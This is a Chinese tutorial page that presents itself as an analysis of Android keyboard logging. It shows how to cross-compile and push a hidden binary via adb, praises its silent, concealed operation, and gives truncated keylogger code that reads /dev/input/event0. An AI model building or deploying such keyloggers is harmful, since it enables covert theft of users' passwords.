?

免費教程_免費網賺教程_破解版軟件-寂涯網絡學習基地

當前位置: 主頁 > 系統綜合 > 系統安全 > Android系統鍵盤記錄安全分析

Android系統鍵盤記錄安全分析

時間:2011-12-16 12:54來源:未知 整理:寂涯網絡 點擊:

盜號木馬大家都很常見了,但大多數都是在windows平臺下的,像阿拉QQ大盜等鍵盤
記錄程序都給用戶帶來不少的麻煩。在android手機越來越普及的今天,盜號木馬也將會轉
移到手機上來,為了更好的防范這種盜號木馬,我們首先要了解其原理。
首先是要了解Android系統,Android是基于Linux的操作系統,處理器是ARM的,所
以要在Linux或Windows等x86系統上編譯Android能運行的程序,你需要一個交叉編譯器。 
工欲善其事必先利其器,在Linux 下面,你可以自已編譯一個交叉編譯環境,但Windows
下面,就比較復雜(也可以在 cygwin中編譯一個),但我推薦大家選擇下載一個現成的交叉
編譯環境:

http://www.ionrce.tw/gnu_toolchains/arm/portal/package3400/public/arm-no
ne-linux-gnueabi/arm-2008q3-41-arm-none-linux-gnueabi.exe

這是一個命令行工具,安裝好了之后,最好將CodeSourcery編譯器的 bin目錄加入你
的PATH 環境變量中,就可以開始你的Android  Native C開發之旅了,先來熟悉一下開發調
試流程,下面寫好一個簡單的C程序:  
#include <stdlib.h>
int main(int argc, char** argv) {
 printf("hello android!\nI'm %s!\nI like android very much!!!\n", "GuiGu");
 return 0;
}

將上述代碼另存成hello.c,然后進入命令行模式,確保交叉編譯器的bin 目錄,及
Android SDK的tools目錄在你的系統環境變量的path里面,用如下命令編譯:  

arm-none-linux-gnueabi-gcc -static hello.c -o hello

成功編譯后會在該目錄下生成一個hello的文件,下面啟動Android模擬器,用如下命
令將文件 push到Android模擬器上: 
 
adb shell mkdir /dev/h4ck
adb push hello /dev/h4ck/hello
adb shell chmod 777 /dev/h4ck/hello  

上述命令的含義是:先創建 /dev/h4ck目錄,再將編譯好的hello上傳上去,最后將
hello改成可執行的。
上傳好了之后,再進入命令行模式,進入Android的 shell環境:
adb shell
#cd /dev/h4ck
#./hello

進入 /dev/h4ck目錄,執行hello,運行結果如下圖: 

可以看到在android主界面是沒有任何反應的,程序是后臺靜默運行的,具有很強的隱
蔽性。下面說說鍵盤記錄的原理吧。如果你做過android系統編程就會知道鍵盤事件用的
device 是 /dev/tty0,進入 /dev/input 目錄,發現在3個 device文件:
mice,mouse0,event0,分別 cat 這3 個文件,發現只有 event0 有反應。

而且不管是點擊鼠標還是按鍵,都有反應,但顯示的是一堆亂碼,而且點擊鼠標出來的
東西要多一點,這就說明,android會將用戶的操作保存在這個文件中。我們只要寫一段代
碼來分析這些亂碼就可以獲得我們想要的信息了,下面來編程實現吧。
為了分析 event0 的返回值,寫了一段代碼key.c,核心代碼如下:  
static int event0_fd = -1;
 struct input_event ev0[64];
 static int handle_event0() {
     int button = 0, i, rd;
     rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
     if ( rd < sizeof(struct input_event) ) return 0;
     for (i = 0; i < rd / sizeof(struct input_event); i++) {
         if (ev0[i].type == 1&&ev0[i].value == 1) {
    printf("您按下鍵盤的編碼是: %3d\n", ev0[i].code);
             if (ev0[i].code == 158) {
                 return 0;
             }
         }
     }
     return 1;
 }
 int main(void) {
  int done = 1;
     event0_fd = open("/dev/input/event0", O_RDWR);
     if ( event0_fd < 0 )
         return -1;
  printf("開始鍵盤監聽...\n"); 

本頁地址 http://www.ionrce.tw/xitonganquan/20111216720.html

百度搜索更多

谷歌搜索更多

頂一下
(0)
0%
踩一下
(0)
0%
------分隔線----------------------------
?
評價:
昵稱: 驗證碼:點擊我更換圖片
推薦內容
贊助商
贊助商
?

關于本站免責聲明視頻更新google百度地圖視頻地圖RRS訂閱

如有什么問題請在本站留言,或發郵件到 hxt167#foxmail.com

内蒙古十一选五基本走势图手机版